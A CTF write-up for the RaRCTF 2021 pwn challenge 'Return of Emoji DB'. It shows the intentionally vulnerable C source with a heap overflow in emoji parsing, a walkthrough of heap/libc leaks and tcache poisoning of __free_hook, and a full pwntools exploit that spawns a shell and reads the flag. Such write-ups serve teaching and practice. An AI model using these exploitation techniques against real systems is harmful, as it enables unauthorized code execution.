## Return of Emoji DB
> Points: 600>> Solves: 25 (?)
### Description:```Challenge instance ready at 193.57.159.27:42454. Click here to request a new instance.
Emoji-based pwn is the hot new thing!```
### Files:```emoji.zip
```
## Analysis:
The C language source code is provided below.There is a vulnerability in the emoji string part of the add_emoji () function.
```c#define _CRT_SECURE_NO_WARNINGS#include <unistd.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>
ssize_t read(int fd, void *buf, size_t count);ssize_t write(int fd, const void *buf, size_t count);
typedef struct __attribute__((__packed__)) EmojiEntry {    uint8_t data[4];    char* title;} entry;
entry* entries[8] = {0};void* garbage[50] = {0};
int find_free_slot(uint64_t * arr, int size) {    for (int i = 0; i < size; i++) {        if (arr[i] == 0) {            return i;        }    }    return -1;}
int menu() {    printf("Emoji DB v 2.1\n1) Add new Emoji\n2) Read Emoji\n3) Delete Emoji\n4) Collect Garbage\n> ");    unsigned int res;    scanf("%ud\n", &res;;    return res;}
int count_leading_ones(unsigned char i) {    int count = 0;    while ((i & 0b10000000) > 0) {        count += 1;        i = i << 1;    }    return count;}
void add_emoji() {    int i = find_free_slot((uint64_t *)entries, sizeof(entries));    if (i < 0) {        puts("No free slots");        return;    }    entry* new_entry = (entry *)malloc(sizeof(entry));    new_entry->title = malloc(0x80);    printf("Enter title: ");    read(0, new_entry->title, 0x80 - 1);    new_entry->title[0x80-1] = '\0';    printf("Enter emoji: ");    read(0, new_entry->data, 1);    read(0, new_entry->data+1, count_leading_ones(new_entry->data[0]) - 1);    entries[i] = new_entry;}
void read_emoji() {    printf("Enter index to read: ");    unsigned int index;    scanf("%ud", &index);    if (index > sizeof(entries) | entries[index] == NULL) {        puts("Invalid entry");        return;    }    printf("Title: %s\nEmoji: ", entries[index]->title);    write(1, entries[index]->data, count_leading_ones(entries[index]->data[0]));
}
void delete_emoji() {    printf("Enter index to delete: ");    unsigned int index;    scanf("%ud", &index);    if (index > sizeof(entries) | entries[index] == NULL) {        puts("Invalid entry");        return;    }    int i = find_free_slot((uint64_t *)garbage, sizeof(garbage));    garbage[i] = entries[index];    int i2 = find_free_slot((uint64_t *)garbage, sizeof(garbage));    garbage[i2] = entries[index]->title;    entries[index]->title = NULL;    entries[index] = NULL;
}
void collect_garbage() {    for (int i = 0; i < sizeof(garbage); i++) {        if (garbage[i] != NULL) {            free(garbage[i]);            garbage[i] = NULL;        }    }}
int main() {    setvbuf(stdout, NULL, _IONBF, 0);    int c = menu();    while (c < 5) {        switch (c) {        case 1:            add_emoji();            break;        case 2:            read_emoji();            break;        case 3:            delete_emoji();            break;        case 4:            collect_garbage();            break;        default:            puts("Unknown option");        }        c = menu();    }}```
## Solution:
heap leak is easy.
With Add("A"*0x8, "\xf8"+"\xb4"*4)、We can leak the heap address by changing the part of the 0x55555555a2b0 chunk that points to 0x55555555a2b4 from 0x55555555a2d0.
```asm0x55555555a2a0:	0x0000000000000000	0x00000000000000210x55555555a2b0:	0x5555a2b4b4b4b4f8	0x0000000000005555   --- 0x55555555a2d0 => 0x55555555a2b40x55555555a2c0:	0x0000000000000000	0x00000000000000910x55555555a2d0:	0x4141414141414141	0x000000000000000a```
Similarly, we can leak the libc address by running malloc() on a 0x80 size chunk 8 times and free() 8 times.
In addition, we can create a fake chunk (0x55555555a710) and replace the 0x55555555a620 chunk with 0x55555555a710 to overlap the chunks and put the `__free_hook` in the tcache.
```asmx55555555a600:	0x0000000000000000	0x00000000000000000x55555555a610:	0x0000000000000000	0x00000000000000210x55555555a620:	0x5555a710676767fc	0x00000000000055550x55555555a630:	0x0000000000000000	0x00000000000000910x55555555a640:	0x4747474747474747	0x000000000000000a0x55555555a650:	0x0000000000000000	0x00000000000000000x55555555a660:	0x0000000000000000	0x00000000000000000x55555555a670:	0x0000000000000000	0x00000000000000000x55555555a680:	0x0000000000000000	0x00000000000000000x55555555a690:	0x0000000000000000	0x00000000000000000x55555555a6a0:	0x0000000000000000	0x00000000000000000x55555555a6b0:	0x0000000000000000	0x00000000000000000x55555555a6c0:	0x0000000000000000	0x00000000000000210x55555555a6d0:	0x5555a6f05555a60a	0x00000000000055550x55555555a6e0:	0x0000000000000000	0x00000000000000910x55555555a6f0:	0x4646464646464646	0x46464646464646460x55555555a700:	0x4646464646464646	0x0000000000000091   <== fake chunk0x55555555a710:	0x000000000000000a	0x00000000000000000x55555555a720:	0x0000000000000000	0x00000000000000000x55555555a730:	0x0000000000000000	0x00000000000000000x55555555a740:	0x0000000000000000	0x00000000000000000x55555555a750:	0x0000000000000000	0x00000000000000000x55555555a760:	0x0000000000000000	0x00000000000000000x55555555a770:	0x0000000000000000	0x0000000000000021```Below is the result of putting `__free_hook` in tcache.```pwndbg> binstcachebins0x20 [  5]: 0x55555555a570 —▸ 0x55555555a620 —▸ 0x55555555a4c0 —▸ 0x55555555a410 —▸ 0x55555555a360 ◂— 0x00x90 [  5]: 0x55555555a590 —▸ 0x55555555a710 —▸ 0x7ffff7fadb28 (__free_hook) ◂— 0x0fastbins0x20: 0x55555555a820 ◂— 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x55555555a840 —▸ 0x7ffff7faabe0 (main_arena+96) ◂— 0x55555555a840smallbinsemptylargebinsempty```
## Exploit code:```pythonfrom pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './emoji'elf  = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r':  HOST = "193.57.159.27"  PORT = 28933  s = remote(HOST, PORT)  libc = ELF("./libc-2.31.so")else:  s = process(BINARY)  libc = elf.libc
def Add(title, emoji):  s.sendlineafter("> ", "1")  s.sendlineafter("title: ", title)  s.sendlineafter("emoji: ", emoji) def Read(idx):  s.sendlineafter("> ", "2")  s.sendlineafter("read: ", str(idx)) def Delete(idx):  s.sendlineafter("> ", "3")  s.sendlineafter("delete: ", str(idx)) def GC():  s.sendlineafter("> ", "4")
# heap leakAdd("A"*0x8, "\xf8"+"\xb4"*4)Read(0)s.recvuntil("Title: ")r = s.recvuntil("\n")[:-1]heap_leak = u64(r + b"\x00\x00")heap_base = heap_leak - 0x12b4print("heap_leak =", hex(heap_leak))print("heap_base =", hex(heap_base))
for i in range(7):  Add("B"*0x8, "") 
for i in range(7):  Delete(i+1)Add("C"*0x8, "")Add("D"*0x8, "")Delete(1)GC()
# libc leakAdd("E"*0x8, b"\xfc"+b"e"*3+p64(heap_base+0x1850)[:2])Read(1)s.recvuntil("Title: ")r = s.recvuntil("\n")[:-1]libc_leak   = u64(r + b"\x00\x00")libc_base   = libc_leak - 0x1ebbe0free_hook   = libc_base + libc.sym.__free_hooksystem_addr = libc_base + libc.sym.systemprint("libc_leak =", hex(libc_leak))print("libc_base =", hex(libc_base))
# Overlap chunkAdd(b"F"*0x18+p64(0x91), "")Add("G"*8, b"\xfc"+b"g"*3+p64(heap_base+0x1710)[:2])Add("H"*0x8, "")
Delete(4)Delete(5)Delete(3)GC()
Add(b"I"*0x18+p64(0x91)+p64(free_hook), "")
Add("/bin/sh\x00", "") Add("J"*8, "") Add(p64(system_addr), "")
# start /bin/shDelete(4)GC()
s.interactive()```
## Results:```bashmito@ubuntu:~/CTF/RaRCTF_2021/Pwn_Return_of_Emoji_DB_600/Emoji$ python3 solve.py r[*] '/home/mito/CTF/RaRCTF_2021/Pwn_Return_of_Emoji_DB_600/Emoji/emoji'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[+] Opening connection to 193.57.159.27 on port 28933: Done[*] '/home/mito/CTF/RaRCTF_2021/Pwn_Return_of_Emoji_DB_600/Emoji/libc-2.31.so'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabledheap_leak = 0x5644234ec2b4heap_base = 0x5644234eb000libc_leak = 0x7efe7f849be0libc_base = 0x7efe7f65e000[*] Switching to interactive mode$ iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)$ ls -ltotal 28lrwxrwxrwx.    1 root root     7 Jul 23 17:35 bin -> usr/bindrwxr-xr-x.    2 root root     6 Apr 15  2020 bootdrwxr-xr-x.    5 root root   340 Aug 10 01:16 dev-rwxr-xr-x.    1 root root 20912 Aug  6 10:27 emojidrwxr-xr-x.    1 root root    66 Aug  8 15:06 etc-rw-r--r--.    1 root root    38 Aug  3 01:39 flag.txtdrwxr-xr-x.    1 root root    17 Aug  8 14:53 homelrwxrwxrwx.    1 root root     7 Jul 23 17:35 lib -> usr/liblrwxrwxrwx.    1 root root     9 Jul 23 17:35 lib32 -> usr/lib32lrwxrwxrwx.    1 root root     9 Jul 23 17:35 lib64 -> usr/lib64lrwxrwxrwx.    1 root root    10 Jul 23 17:35 libx32 -> usr/libx32drwxr-xr-x.    2 root root     6 Jul 23 17:35 mediadrwxr-xr-x.    2 root root     6 Jul 23 17:35 mntdrwxr-xr-x.    2 root root     6 Jul 23 17:35 optdr-xr-xr-x. 1366 root root     0 Aug 10 01:16 procdrwx------.    2 root root    37 Jul 23 17:38 rootdrwxr-xr-x.    5 root root    58 Jul 23 17:38 runlrwxrwxrwx.    1 root root     8 Jul 23 17:35 sbin -> usr/sbindrwxr-xr-x.    2 root root     6 Jul 23 17:35 srvdr-xr-xr-x.   13 root root     0 Aug 10 01:14 sysdrwxrwxrwt.    2 root root     6 Jul 23 17:38 tmpdrwxr-xr-x.    1 root root    41 Jul 23 17:35 usrdrwxr-xr-x.    1 root root    17 Jul 23 17:38 var$ cat flag.txtrarctf{tru5t_th3_f1r5t_byt3_1bc8d429}
```
